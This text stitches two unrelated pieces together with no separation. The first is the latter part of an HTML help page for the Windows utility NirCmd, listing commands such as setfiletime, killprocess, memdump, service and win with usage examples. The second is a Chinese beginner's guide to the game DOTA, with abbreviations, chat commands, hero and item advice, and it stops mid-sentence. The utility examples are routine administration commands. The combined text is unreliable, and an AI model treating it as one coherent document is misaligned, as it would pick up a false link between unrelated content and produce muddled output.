"~$folder.desktop$\s*.lnk" f:\stemp\sdesktop\n</span>\n\n</td></tr><tr>\n<td class="tablecol1">shexec\n</td><td>\n<h6 class="commandsyntax">\nshexec [operation] [filename]\n</h6>\nOpens or Prints a filename according to the definition of the file extension in the Registry.\nFor example: a filename with .doc extension will be opened with MS-Word, a filename with\n.html extension will be opened with your default browser.\nIf you specify a valid web site address, the Web site will be opened in your default browser.\nthe <span class="commandsyntax">[operation]</span> parameter can be "open" or "print".\n\n<br>\nExamples:\n<span class="commandline">\n<br>shexec "open" "c:\smy documents\sabc.doc"\n<br>shexec "print" "d:\sfiles\s1.pdf"\n<br>shexec "open" "http://www.nirsoft.net"\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">setfiletime\n</td><td>\n<h6 class="commandsyntax">\nsetfiletime [filename or wildcard] [Created Date] {Modified Date} {Accessed Date} \n</h6>\nChanges the Created/Modified/Accessed date of one or more files.\nThe first parameter can be a single filename or wildcard string.\nThe dates parameters must be specified in the following format: "dd-mm-yyyy hh:nn:ss"\nif a date parameter is not specified or you specify an empty string (""), the date won't be changed. \nIf you specify "now" as date parameter, the current date and time will be used\n\n<br>\nExamples:\n<span class="commandline">\n<br>setfiletime "c:\stemp\s*.exe" "15-05-2004 11:22:12" "22-01-2005 21:22:55"\n<br>setfiletime "c:\stemp\smyfile.txt" "24-06-2003 17:57:11" "" "22-11-2005 10:21:56"\n<br>setfiletime "c:\stemp\smyfile.txt" now now\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">setfilefoldertime\n</td><td>\n<h6 class="commandsyntax">\nsetfilefoldertime [filename, folder or wildcard] [Created Date] {Modified Date} {Accessed Date} \n</h6>\nChanges the Created/Modified/Accessed date of one or more files/folders.\nThis command is very similar to setfiletime command.\nThe only difference is that setfilefoldertime command can also change the date of a folder - only under Windows 2000/XP.\n\n<br>\nExamples:\n<span class="commandline">\n<br>setfilefoldertime "c:\stemp\smyfolder" "10-01-2003 11:22:12" "12-11-2002 02:34:11"\n<br>setfilefoldertime "c:\stemp\smyfolder" now now\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">emptybin\n</td><td>\n<h6 class="commandsyntax">\nemptybin {drive}\n</h6>\nEmpty the Recycle Bin.\nthe {drive} parameter specifies the drive of the Recycle Bin that you want to empty.\nIf the {drive} parameter is not specified, all Recycle Bin on all drives will be emptied.\n\n<br>\n\nExample:\n<span class="commandline">\n<br>emptybin f:\n<br>emptybin\n</span>\n \n\n</td></tr><tr>\n<td class="tablecol1">setdisplay\n</td><td>\n<h6 class="commandsyntax">\nsetdisplay [width] [height] [color bits] {refresh rate} {-updatereg} {-allusers}\n</h6>\nChanges your display settings. The <span class="commandsyntax">[width]</span> and <span class="commandsyntax">[height]</span> parameters represents\nthe number of pixels on your screen. The <span class="commandsyntax">[color bits]</span> parameter represents the\nnumber of colors shown on your screen (8 - 256 color, 16 - 16bit color, 24 - 24bit color, and so on).\n\n<span class="commandsyntax">{refresh rate}</span> is an optional parameter that specifies the monitor refresh rate.\n\nIf you specify the <span class="commandsyntax">{-updatereg}</span> parameter, the new settings will be saved in the Registry.\nIf you specify both <span class="commandsyntax">{-updatereg}</span> and <span class="commandsyntax">{-allusers}</span> parameters, the new settings will be saved in the Registry for all users.\n\n<br>\nExample:\n<span class="commandline">\n<br>setdisplay 800 600 24 -updatereg\n<br>setdisplay 1024 768 24 90\n\n<br>setdisplay 1024 768 8\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">killprocess\n</td><td>\n<h6 class="commandsyntax">\nkillprocess [process]\n</h6>\nTerminates the specified process.\nIn the <span class="commandsyntax">[process]</span> parameter, you can specify the full path\nof the process filename (e.g: 'C:\sProgram Files\sInternet Explorer\siexplore.exe') \nor the name of the process only, without the path (e.g.: iexplore.exe).\nYou can also specify the Process ID, by adding the '/' character as a prefix \n(e.g. /1120). \n\n<br>\nExamples:\n<span class="commandline">\n\n<br>killprocess iexplore.exe\n<br>killprocess "c:\swinnt\ssystem32\scalc.exe"\n<br>killprocess /1830\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">closeprocess\n</td><td>\n<h6 class="commandsyntax">\ncloseprocess [process]\n</h6>\nTerminates the specified process, by closing its top level windows.\nAs opposed to killprocess command, closeprocess doesn't force the process to be closed \nimmediately. Instead, it send WM_CLOSE message to all top level windows of the specified process.\nHowever, be aware that this command will not work on process with no user interface.\n\n<p>\nIn the <span class="commandsyntax">[process]</span> parameter, you can specify the full path\nof the process filename (e.g: 'C:\sProgram Files\sInternet Explorer\siexplore.exe') \nor the name of the process only, without the path (e.g.: iexplore.exe).\nYou can also specify the Process ID, by adding the '/' character as a prefix \n(e.g. /1120). \n\n\n<br>\nExamples:\n<span class="commandline">\n<br>closeprocess iexplore.exe\n<br>closeprocess "c:\swinnt\ssystem32\scalc.exe"\n<br>closeprocess /1830\n</span>\n\n\n</p></td></tr><tr>\n<td class="tablecol1">memdump\n</td><td>\n<h6 class="commandsyntax">\nmemdump [process] [dump file] [bytes per line] {bytes to read} {start address} {nohex} {noascii}\n</h6>\nReads the memory of process according to the parameters you specify, and writes it\ninto a text file.\n<br>\n\nThe parameters:\n<ul>\n<li><span class="commandsyntax">[process]</span>: The process that you want to dump its\nmemory. You can specify the full path of the process filename, the process name only,\nor the Process ID - by adding the '/' chararcter as prefix (e.g.: /520)\n</li><li><span class="commandsyntax">[dump file]</span>: The filename to save the memory content\nof the specified process.\n</li><li><span class="commandsyntax">[bytes per line]</span>: Number of memory bytes per line\nin the saved dump file. \n</li><li><span class="commandsyntax">{bytes to read}</span>: Number of bytes to read.\n</li><li><span class="commandsyntax">{start address}</span>: Start the dumping process from this memory address. \n</li><li><span class="commandsyntax">{nohex}</span>: Optional. If you specify this parameter, the memory data won't be saved in Hexadecimal format.\n</li><li><span class="commandsyntax">{noascii}</span>: Optional. If you specify this parameter, the memory data won't be saved in Ascii format.\n</li></ul>\n\n<br>\nExamples:\n<span class="commandline">\n<br>memdump iexplore.exe "c:\stemp\sdump.txt" "16" "0x10000" "0x400000"\n<br>memdump calc.exe "c:\stemp\scalc.txt" "32" "0x30000" "0x400000" nohex\n<br>memdump /525 "c:\stemp\sdump.txt" "16" "0x100000" "0x120000" noascii\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">service\n</td><td>\n<h6 class="commandsyntax">\nservice {\s\sComputer} [action] [service name]\n</h6>\nChanges the status and the startup type of services and drivers.\n<br>\n\nThe parameters:\n<ul>\n<li><span class="commandsyntax">{\s\sComputer}</span>: Optional. Specifies the name of the\nremote computer. If you omit this parameter, the local computer is used.\n\n</li><li><span class="commandsyntax">[action]</span>: The action you want to do.\nThis parameter may contain one of the following values:\n<ul>\n<li><span class="special2">start</span>: Starts the specified service or driver.\n</li><li><span class="special2">stop</span>: Stops the specified service or driver.\n</li><li><span class="special2">pause</span>: Pauses the specified service or driver.\n</li><li><span class="special2">continue</span>: Continues the specified service or driver.\n</li><li><span class="special2">restart</span>: Stops and then starts again the specified service or driver.\n\n</li><li><span class="special2">auto</span>: Changes the startup type of the specified service or driver to Automatic.\n</li><li><span class="special2">manual</span>: Changes the startup type of the specified service or driver to Manual.\n</li><li><span class="special2">disabled</span>: Changes the startup type of the specified service or driver to Disabled.\n</li><li><span class="special2">boot</span>: (Only for drivers) Changes the startup type of the specified driver to 'Boot'. \n</li><li><span class="special2">system</span>: (Only for drivers) Changes the startup type of the specified driver to 'System'.\n</li></ul>\n</li><li><span class="commandsyntax">[service name]</span>:\nThe name of the service or driver.\n</li></ul> \n\n<br>\nExamples:\n<span class="commandline">\n\n<br>service start schedule\n<br>service \s\sremote stop schedule\n<br>service restart w3svc\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">win\n</td><td>\n<h6 class="commandsyntax">\nwin [action] [find] [window to find] [Additional Parameters]\n</h6>\nFor child windows:\n<h6 class="commandsyntax">\nwin child [find] [top window to find] [action] [find] [child window to find] [Additional Parameters]\n</h6>\n\nThis command allows you to close, hide, show, maximize, and minimize the specified window.\n<br>\nThe parameters:\n<ul>\n<li><span class="commandsyntax">[action]</span>: The action you want to do on the specified window:\n<ul>\n<li><span class="special2">child</span>: Allows you to make an action on child window of the specified top-level window.\n</li><li><span class="special2">close</span>: Closes the specified windows.\n</li><li><span class="special2">hide</span>: Hides the specified windows.\n</li><li><span class="special2">show</span>: Shows again the specified windows. (after hiding it with 'hide' command)\n</li><li><span class="special2">hideshow</span>: Hides the specified windows and then shows it again. You can use this action to repaint the content of a window.\n\n</li><li><span class="special2">activate</span>: Bring the specified window to the front.\n</li><li><span class="special2">max</span>: Maximizes the specified windows.\n</li><li><span class="special2">min</span>: Minimizes the specified windows.\n</li><li><span class="special2">normal</span>: Restores the specified windows to normal state, after minimizing or maximizing them.\n</li><li><span class="special2">trans</span>: Make the specified windows transparent.\nthe value in <span class="commandsyntax">[Additional Parameters]</span> is a number between 0 and 255 that specifies the \ntransparency level. 0 = completely transparent. 255 = completely opaque.\n</li><li><span class="special2">setsize</span>: Set the size of the specified windows.\nthe values in <span class="commandsyntax">[Additional Parameters]</span>\n\nspecifies the desired window size - x, y, width, height.\n</li><li><span class="special2">move</span>: move/resize the window.\nthe values in <span class="commandsyntax">[Additional Parameters]</span>\nspecifies the number of pixels to move/change: x, y, width, height.\n</li><li><span class="special2">center</span>: Center the specified windows.\n\n</li><li><span class="special2">settopmost</span>:Set the top-most state of the specified windows.\nIf the value in <span class="commandsyntax">[Additional Parameters]</span> is 1, \nthe specified windows will become top-most windows, if the value is 0, the top-most state\nwill be canceled.\n</li><li><span class="special2">redraw</span>: Redraw the specified windows.\n\n</li><li><span class="special2">settext</span>: Modify the caption/title of the specified windows.\n\n</li><li><span class="special2">focus</span>: Set the focus to the specified window.\n</li><li><span class="special2">disable</span>: Disable the specified window.\n</li><li><span class="special2">enable</span>: Enable the specified window.\n</li><li><span class="special2">+style</span>: Add style bits to the specified window. The value of <span class="commandsyntax">[Additional Parameters]</span> specifies the style bits to add.\n</li><li><span class="special2">-style</span>: Remove style bits from the specified window. The value of <span class="commandsyntax">[Additional Parameters]</span> specifies the style bits to remove.\n</li><li><span class="special2">+exstyle</span>: Add extended style bits to the specified window. The value of <span class="commandsyntax">[Additional Parameters]</span> specifies the extended style bits to add.\n\n</li><li><span class="special2">-exstyle</span>: Remove extended style bits from the specified window. The value of <span class="commandsyntax">[Additional Parameters]</span> specifies the extended style bits to remove.\n</li><li><span class="special2">postmsg</span>: Post a message to the specified window. The 3 values in <span class="commandsyntax">[Additional Parameters]</span> specifies the message parameters: Msg, wParam, lParam. \n</li><li><span class="special2">sendmsg</span>: Send a message to the specified window. The 3 values in <span class="commandsyntax">[Additional Parameters]</span> specifies the message parameters: Msg, wParam, lParam. \n</li></ul>\n</li><li><span class="commandsyntax">[find]</span>: The method to find the window\n\n<ul>\n<li><span class="special2">handle</span>: Finds the desired window by specifying the handle\nof the window in <span class="commandsyntax">[window to find]</span> parameter.\n</li><li><span class="special2">id</span>: Finds the desired child window by specifying the id of the child window.\nUseful only for child windows.\n\n</li><li><span class="special2">class</span>: Finds the desired window by specifying the class\nname of the window in <span class="commandsyntax">[window to find]</span> parameter.\n</li><li><span class="special2">title</span>: Finds the desired window by specifying the\nexact title of the window in <span class="commandsyntax">[window to find]</span> parameter.\n\n\n</li><li><span class="special2">stitle</span>: Finds the desired window by specifying the\nfirst few characters of the window in <span class="commandsyntax">[window to find]</span> parameter.\n</li><li><span class="special2">ititle</span>: Finds the desired window by specifying \na sequence of characters that exists in the window title.\n</li><li><span class="special2">alltop</span>: All top windows.\n</li><li><span class="special2">alltopnodesktop</span>: All top windows, except of desktop and tray windows.\n\n</li><li><span class="special2">active</span>: The current active window.\n</li><li><span class="special2">foreground</span>: The window in foreground.\n</li><li><span class="special2">desktop</span>: The desktop window\n\n</li></ul>\n\n</li><li><span class="commandsyntax">[window to find]</span>:\nSpecifies the window by handle, class name, or title, according to the value of the\nprevious parameter.\n\n</li></ul>\n\n<br>\nExamples:\n<span class="commandline">\n<br>win close title "calculator"\n<br>win hide stitle "calculat"\n<br>win hide ititle "culat"\n<br>win show class "SciCalc"\n<br>win activate title "my computer"\n<br>win max handle 0x00009c01\n<br>win redraw alltop\n<br>win trans ititle "internet explorer" 192 \n\n<br>win setsize class "IEFrame" 50 50 400 300\n<br>win settopmost class "SciCalc" 1\n<br>win child class "Shell_TrayWnd" hide class "button"\n<br>win child class "Shell_TrayWnd" show class "button"\n<br>win child title "calculator" hide id 128 \n<br>win -style title "my computer" 0x00C00000\n<br>win child title "my computer" +exstyle all 0x00400000\n<br>win sendmsg title "calculator" 0x10 0 0\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">cdrom\n</td><td>\n<h6 class="commandsyntax">\ncdrom [action] {drive:}\n\n</h6>\nThis command allows you to open and close the door of your CD-ROM drive.\nThe <span class="commandsyntax">[action]</span> parameter can be 'open' or 'close'.\nIf you don't specify the <span class="commandsyntax">{drive:}</span> parameter, the default CD-ROM will be used.\n<br>\nExamples:\n<span class="commandline">\n<br>cdrom open\n<br>cdrom close\n<br>cdrom open J:\n<br>cdrom close R:\n</span>\n\n</td></tr><tr>\n<td class="tablecol1">clipboard\n</td><td>\n<h6 class="commandsyntax">\nclipboard [Action] [Parameter]\n</h6>\nAllows you to set a value into the clipboard and clear the clipboard.\n<p>\n[Action] may contain one of the following values:\n</p><ul>\n<li><span class="special2">set</span> - set the specified text into the clipboard.\n</li><li><span class="special2">readfile</span> - set the content of the specified text file into the clipboard.\n\n</li><li><span class="special2">clear</span> - clear the clipboard.\n</li><li><span class="special2">writefile</span> - write the content of the clipboard to a file. (text only)\n</li><li><span class="special2">addfile</span> - add the content of the clipboard to a file. (text only)\n</li></ul>\n\n<br>\nExamples:\n<span class="commandline">\n<br>clipboard set "123456"\n<br>clipboard set ~$folder.desktop$ \n<br>clipboard set ~$folder.start_menu$ \n\n<br>clipboard readfile "c:\stemp\sinfo1.txt"\n<br>clipboard addfile "c:\stemp\sclip1.txt"\n<br>clipboard clear\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">gac\n</td><td>\n<h6 class="commandsyntax">\ngac [Action] [Parameter]\n</h6>\nAllows you to install an assembly in the Global Assembly Cache.\n<br>\nExamples:\n<span class="commandline">\n<br>gac install "C:\stemp\sMyAssembly\sbin\sRelease\s6\sMyAssembly.dll"\n\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">beep\n</td><td>\n<h6 class="commandsyntax">\nbeep [Frequency] [Duration]\n</h6>\nPlays a beep. The <span class="commandsyntax">[Frequency]</span> parameter specifies the frequency, in hertz.\nThe <span class="commandsyntax">[Duration]</span> parameter specifies the duration of the sound in milliseconds.\nUnder Windows 95/98/ME, the above parameters are ignored, and only a standard Windows beep is played.\n<br>\n\nExample:\n<span class="commandline">\n<br>beep 500 2000\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">stdbeep\n</td><td>\n<h6 class="commandsyntax">\nstdbeep\n</h6>\nPlays the standard beep of Windows. \n<br>\nExample:\n<span class="commandline">\n<br>stdbeep\n\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">setvolume\n</td><td>\n<h6 class="commandsyntax">\nsetvolume [device] [left-volume] [right-volume]\n</h6>\nSet the volume level of your sound device.\nThe <span class="commandsyntax">[device]</span> parameter represents the device identifier.\nIn most cases, you should use '0' value for this parameter.\nThe <span class="commandsyntax">[left-volume]</span> and <span class="commandsyntax">[right-volume]</span>\n\nparameters should contain a value between 0 (silence) and 65535 (full volume) that represents the volume level for left and right channels.\n<br>\nExamples:\n<span class="commandline">\n<br>setvolume 0 0 0\n<br>setvolume 0 32768 32768\n<br>setvolume 0 0xffff 0\n</span>\n\n</td></tr><tr>\n<td class="tablecol1">setsysvolume\n</td><td>\n<h6 class="commandsyntax">\nsetsysvolume [volume] {Component} {Device Index}\n</h6>\nSet the sound volume for your system.\nChanging this value also affects the sound volume settings under 'Control Panel'.\nThe <span class="commandsyntax">[volume]</span> parameter should contain a value\nbetween 0 (silence) and 65535 (full volume).\n\n<br>\n<span class="commandsyntax">{Component}</span> is an optional parameter that specifies\none of the following sound components: \nmaster, waveout, synth, cd, microphone, phone, aux, line, headphones, wavein.\nThe default value is 'master' (for master volume)\n\n\n<br>\n<span class="commandsyntax">{Device Index}</span> is an optional parameter that specifies\nthe sound device index. This parameter is useful if you have more than one sound card.\nIf you don't specify this parameter, the default sound card in Control Panel is used.\n\n\n<br>\nExamples:\n<span class="commandline">\n<br>setsysvolume 0x8000\n<br>setsysvolume 0\n<br>setsysvolume 25000 waveout\n<br>setsysvolume 25000 master 1\n</span>\n\n</td></tr><tr>\n<td class="tablecol1">setsysvolume2\n</td><td>\n<h6 class="commandsyntax">\nsetsysvolume2 [left volume] [right volume] {Component} {Device Index}\n</h6>\nSimilar to setsysvolume, but instead of setting the whole sound volume, \nsetsysvolume2 set the right channel and left channel separately.\n\n<br>\nExamples:\n<span class="commandline">\n<br>setsysvolume2 10000 20000\n<br>setsysvolume2 30000 0\n<br>setsysvolume2 25000 15000 waveout\n<br>setsysvolume2 30000 0 master 1\n</span>\n\n</td></tr><tr>\n<td class="tablecol1">changesysvolume\n</td><td>\n<h6 class="commandsyntax">\nchangesysvolume [volume change] {Component} {Device Index}\n</h6>\nIncreases or decreases the system volume.\nthe <span class="commandsyntax">[volume change]</span> parameter specifies the number of volume units to\nincrease or decrease (negative value to decrease, positive value to increase).\n<br>\n<span class="commandsyntax">{Component}</span> is an optional parameter that specifies\none of the following sound components: \nmaster, waveout, synth, cd, microphone, phone, aux, line, headphones, wavein.\nThe default value is 'master' (for master volume)\n\n\n<br>\n<span class="commandsyntax">{Device Index}</span> is an optional parameter that specifies\nthe sound device index. This parameter is useful if you have more than one sound card.\nIf you don't specify this parameter, the default sound card in Control Panel is used.\n\n\n\n<br>\nExamples:\n<span class="commandline">\n<br>changesysvolume 5000\n<br>changesysvolume -3000\n<br>changesysvolume 0x1000 waveout\n<br>changesysvolume 0x1000 master 1\n</span>\n\n</td></tr><tr>\n<td class="tablecol1">changesysvolume2\n</td><td>\n<h6 class="commandsyntax">\nchangesysvolume2 [left volume change] [right volume change] {Component} {Device Index}\n</h6>\nSimilar to changesysvolume, but instead of changing the whole sound volume, \nchangesysvolume2 changes the left channel and the right channel separately.\n\n<br>\n\nExamples:\n<span class="commandline">\n<br>changesysvolume2 1000 -1000\n<br>changesysvolume2 -3000 0\n<br>changesysvolume2 0 -5000 waveout\n<br>changesysvolume2 -3000 0 master 1\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">mutesysvolume\n</td><td>\n<h6 class="commandsyntax">\nmutesysvolume [action] {Component} {Device Index}\n</h6>\nMute/unmute the system volume. <br>\n\nIn the <span class="commandsyntax">[action]</span> parameter, specify 1 for mute, 0 for unmute, \nor 2 for switching between mute and normal state.\n<br>\nThe second parameter is optional, and you can specify one of the following sound components:\nmaster, waveout, synth, cd, microphone, phone, aux, line, headphones, wavein.\nThe default value is 'master' (for master volume)\n\n<br>\n<span class="commandsyntax">{Device Index}</span> is an optional parameter that specifies\nthe sound device index. This parameter is useful if you have more than one sound card.\nIf you don't specify this parameter, the default sound card in Control Panel is used.\n\n\n<br>\nExamples:\n<span class="commandline">\n<br>mutesysvolume 1\n<br>mutesysvolume 0\n<br>mutesysvolume 2 waveout\n<br>mutesysvolume 1 master 1\n\n</span>\n\n</td></tr><tr>\n<td class="tablecol1">wait\n</td><td>\n<h6 class="commandsyntax">\nwait [milliseconds]\n</h6>\nSimply wait the specified number of milliseconds.\n<br>\nExamples:\n<span class="commandline">\n<br>wait 1000\n<br>wait 500\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">sysrefresh\n</td><td>\n<h6 class="commandsyntax">\nsysrefresh {Refresh Type}\n</h6>\nInitiate a general system refresh. You can use this command to refresh your system after\nchanging your system settings in the Registry (e.g: changing desktop icons size, environment variables, and so on..)\n{Refresh Type} is optional. \nYou can specify one of the following values: \n"environment" - for refreshing the environment variables,\n"policy" - for policy settings, \n"intl" for locale settings.\n<br>\nExamples:\n<span class="commandline">\n<br>sysrefresh\n<br>sysrefresh environment\n<br>sysrefresh policy\n</span>\n\n\n\n</td></tr><tr>\n<td class="tablecol1">setcursor\n</td><td>\n<h6 class="commandsyntax">\nsetcursor [X] [Y]\n</h6>\nSet the position of mouse cursor. The <span class="commandsyntax">[X]</span> and <span class="commandsyntax">[Y]</span> parameters specifies the desired cursor position.\n<br>\nExample:\n<span class="commandline">\n<br>setcursor 100 50\n\n</span>\n\n\n</td></tr><tr>\n<td class="tablecol1">movecursor\n</td><td>\n<h6 class="commandsyntax">\nmovecursor [X] [Y]\n</h6>\nmove the mouse cursor. The <span class="commandsyntax">[X]</span> and <span class="commandsyntax">[Y]</span> parameters specifies the number of pixels to move.\nExample:\n<span class="commandline">\n\n<br>movecursor 10 10\n</span>\n\n\n\n</td></tr></tbody></table>\n\n<h4 class="utilsubject">Feedback</h4>\nIf you have any problem, suggestion, comment, or you found a bug in my utility, \nyou can send a message to <a href="mailto://nirsofer@yahoo.com/">nirsofer@yahoo.com</a>\n\n\n\n\n\n<p>\n<table border="0" cellpadding="10" width="100%">\n<tbody><tr><td align="center">\n<a class="downloadline" href="http://www.nirsoft.net/utils/nircmd.zip">Download NirCmd</a>\n</td></tr></tbody></table>\n\n</p><p>\n\n</p><p>\n</p></td>\n\n<td width="5"> \n</td>\n\n\n</tr>\n\n</tbody></table>\n\n\n\n\n</body>\n</html>\n
dota早早就成为了一个在世界上极其火爆的游戏 在bn上是垄断性的自建游戏\n爱好者众多 在国内引进较慢 流行起来也只是去年到今年短短的时间 目前dota发展很快\nhf vs gg上房间众多 此文给还在摸索中的同学们 希望能对大家有所帮助 \n这份攻略主要写一下英雄的装备路线 技能路线和简单打发 dota是一个自由度很高的游戏 英雄打法五花八门 玩出自己的风格 打出自己的个性才能叫作达人 每个英雄都有几种路线 我的攻略只写比较常见比较流行的打法\n如果看了攻略仍然不理解某英雄怎么用 提出来我针对个别英雄写具体攻略\n技能中 123代表123技能 +代表黄点 u代表大决 \nhod流攻略我就不写了 如果你理解hod流 只要知道这个英雄可以用就可以自己研究了 \n\n一些英文缩写解释 CW=clanwar 团战 ih= in house 熟人局 pub=路人战 bkb=黑皇仗\nmkb=金箍棒 大根=神力=红仗 40书=死灵书 push=推 stun=限制技能 slow=减速技能 AOE=范围杀伤 MT=主肉盾 A仗=神仗 farm=打钱 linken=林肯球 gank=指多人有计划的偷袭 dps=秒伤害 借指伤害输出 noob=菜鸟 solo=单练 ult=大决 KS=kill steal 抢人 3=b=back 逃跑\n\n如果你是一个新手 按着我的路线可能根本出不来东西 这时候没办法 只能努力提高自己的补刀能力 开AI版跟电脑玩吧~练练正反补 应该就可以了 \ndota是一个门槛很高的游戏 如果你玩过真三国无双 去死去死团 火影 信长的野望这类dota类型游戏 会很容易起手\n如果你是对战高手也很容易起手 dota中很多道理跟对战中很像例如阵形 而且apm肯定跟得上\ndota的基本apm在60以上 一般人在60-140 \n操作某些英雄某些打法像chen 幽鬼 狗头人 要很高的apm 但总体来说算是对操作要求不高 跟澄海orc3c比起来还算低的 如果你只玩过orc3c和澄海那就不太好起手了\n澄海和orc3c的经验基本用不到dota上 \ndota玩出门道就会觉得非常的好玩 玩不懂只会觉得郁闷 \n新手尽量找一些我标志了简单的英雄玩 \n\n下面是一篇新手菜鸟的攻略 如果你已经是个中手就可以跳过了\n广告时间： 厌倦了wow中无尽的副本了么？渴望一个剑与魔法的世界而又不愿独自一人面对war3中的对手？希望有一个可以打发时间寻找激情的游戏？ 那么来吧 dota是你最好的选择 \n不管你是如何知道这个游戏的 当你决定玩好这个游戏的时候 注定你将会度过一个一个不眠之夜\n看了这篇攻略或许可以让你少走弯路 let's go 进入dota绚丽的世界 （广告完 鸣谢lolicon联盟）\n\n进入dota后 首先你可以打如下几个常用命令 ：-random 随机选择英雄 -repick 重新选择英雄\n-ma 查看对手英雄和等级 -ms 查看自己的英雄移动速度 -cson 打开补刀显示板 -deny 打开反补显示画面 -di -cson-deny的综合 \n\n你要做的并不是随机选择 刚刚进入dota的你 一定要先专一的练习几个拿手的英雄\n首先你可以看那个帅或者那个好看直接选择 “我就练他了！” 或者听我的意见 \n法师系角色是很合适的 \n我的意见是 巫妖 宙斯 这俩个技能简单易懂充满威力 \n其次是会隐形的角色 我推荐隐形刺客\n再次是 毁灭使者lucifer即doom和骷髅王\n这五个还是比较好上手的 \n最简单的莫过巫妖 因为技能和war3相差不多 进入后稍微熟悉下技能 （这个也可以单机干）\n新手出来一定要买恢复戒指和至少1组吃树 多余的钱可以买小兰回魔用或者买圆环 \n如果你是一个远程英雄去中间 如果是近程去俩边\n在打怪的时候不要一直打怪 看准怪快没血打最后一下 这个技术就是补刀 补刀可以在单机稍微练练\n自己兵快没血时可以用“A”键直接强杀 不给对方经验金钱 叫做反补\n在打怪时候一定不要轻易的靠近敌人 尽量避免被对方普通攻击打中 有可能不费血攻击到对方可以打一下 注意不要太拉仇恨（-0-） 尽管多在线上呆着 不要乱跑 没血吃树 没有树后再回去 \n之后买回城直接飞到塔下 有了钱买双鞋子 合俩个护腕 有一定血可以避免一些死亡 新手可以多买护腕\n5，6，7级后就可以琢磨杀人了 \n用巫妖举例子 巫妖的技能是1V NOVA是非常强的攻击技能，附带减速，一般在打到后可以补两三下\n2F 寒冰装甲对于对方的近战，效果非常好，减速，但是对远程的，效果一般。\n3D 吃自己的小兵是非常管用的技能，一方面自己回魔，一方面让对手没钱没经验，此技能一般一恢复就使用 4c 连环霜冻下面说\n6级的时候你的加点应该是3级霜冻 2级祭礼 1级连环霜冻 首先用祭礼吃小兵保证满魔\n连环霜冻的意思是 你扔出去的冰淇淋或者冰锥不管它是什么 会打中第一个人后弹开 周围只要有人就会弹到另一个身上 然后再弹回来 如果一个目标周围没有可弹得就不弹了 找一个对方人少的时候\n只有2个英雄或者一个英雄一个小兵的时候 扔出大招 只要弹他俩下 再接一个霜冻 再接几下普攻\n基本就秒了 当然很讲究rp rp好 随便扔也能弹对方好几下 \n\n之后继续练级打钱出装备杀人就好了 有人喊集合并且大家都同意的时候就要集合 5人协同战斗\n然后是赢是输就看你们的了\n\n新手并不要多要求杀人 少死最重要的 如何少死？\n继续往下看\n1 不要贪图补一个红血小兵而一人上前\n2 不要前期试图进对方塔范围杀人\n3 半血以下没有回血手段回家补血\n4 隐形的英雄不要乱跑 小心对方眼睛\n5 5-10秒看一次小地图 小心对方偷袭 经常可以在小地图上看见向自己过来的敌人\n6 有人喊 3或者b 立刻注意是不是在跟你说\n7 回城中期开始一定要身上带一个 如果有夜魔早期最好就带一个 对方用完眩晕技能立刻用 或者进树林用\n8 特殊英雄 多了解dota中英雄技能 夜魔 血魔 月女等特殊人\n9 多点点对方英雄看他的装备，以及魔法量 看他是不是有杀人的可能\n10 被敌人从背后偷袭第一反应除了转头跑，还有一个办法是直接拐弯进旁边的树林\n11 不要第一装备是假腿\n12 11级前不推荐任何形式的用技能打小兵的举动\n13 请在无论任何情况下保持一定的血量和mp量\n14 多买护腕\n15 我还没想到。。。\n能玩好一个英雄然后就是1个2个 之后就可以开始你的随机旅程了 多了解dota英雄每个人的特点和技能 才可以知己知彼\n\n恩 说了这么多 其实还有很多 暂时想不到 有问题可以qq上问我 \n下边是一张dota地形图 dota的地形一定要熟 同时给大家几个常用的躲藏地方 不常用的我也不会说\n:) 红笔是单向躲藏地点 兰笔是双向可进可出的躲藏地点 不要嫌难看 我尽力了。。。 \n \n\n下面开始正常攻略！\n\n首先对于物品简单说说：\n更新一下 642新物品\nAssault Cuirass\n板甲 振奋宝石 锁子甲 卷轴（2000）\n+10 防御 +5 防御光环-5 对方防御光环+40% 攻击速度 +15% 攻击速度光环\n这个东东虽然效果不错但是过于贵了 sven白牛等需要疯狂面具的人用这个替疯狂面具效果不错\n但是由于太贵 非常不看好这个 \n\nHood of Defiance 流浪法师斗篷铁意头盔 回复戒指X2或者治疗指环\n30% 魔法防御 +8HP/S\n非常好用的 屠夫敌法之类的很适合 前期对方法师多出这个很棒 而且制作平滑\n\nBloodstone 振魂石 坚韧球\n\n+450 HP +400 Mana +110% 魔法回复 +5 HP/S\n赎罪 (被动)\n—如果持有人死了，附近的盟友回复450HP/MP；\n—在英雄等待复活期间能得到他死亡的地点的经验和视野；\n—英雄复活快20%并减少40%的死亡损失金钱\n—如果该物品能量用完，那么死亡奖励会被中途停止；\n—可以通过杀死对方英雄充能，并因为死亡而消耗能量；\n\n这个最大的卖点1是不朽不在 用这个替不朽 2是可以拆 出A仗刷新的人可以直接出这个然后拆了再转\n\n\n金箍棒 适合无重击攻击速度快的英雄用 最适合的就是骷髅弓箭手 没有打断技也可以用\n水晶剑/大炮 在攻击力大于200的情况下使用大炮否则用金箍棒 本身会爆的人不要出 分身系出也不错\n辉耀 大部分英雄都可以用的装备 刷钱专用 值得一提是前期被压制的很惨就不要生憋辉耀了 一些小装备会更好 裸辉耀在前期顺利的情况下用 否则就算出了也该输了\n圣剑 有逃命技能的dps出不错 不要随便起剑盾 一般只有非常顺利和要翻盘的情况用\n不朽 不朽自从不能扔我就再也不爱用了 力量和智力为了10防出还好 最适合的就是屠夫\n团战不朽就是非常好用的东西了 一到后期就是全体做不朽\n刷新 大决bt的人用 例如术士 力量敏捷英雄出刷新要考虑魔 一般大决只升到2\n旋风/妖刀 法系万金油装备谁用都好用 某些敏捷力量英雄也可以用 妖刀毕竟也加35攻击力\n最适合的人是沉默术士\nA仗 不是大决会被a仗提高的人就要出 兰胖子必出 而遗忘法师就没必要\n心 大部分英雄出加血都不错 最适合的熊战士 sven\n撒旦之邪力/hod 并不好用 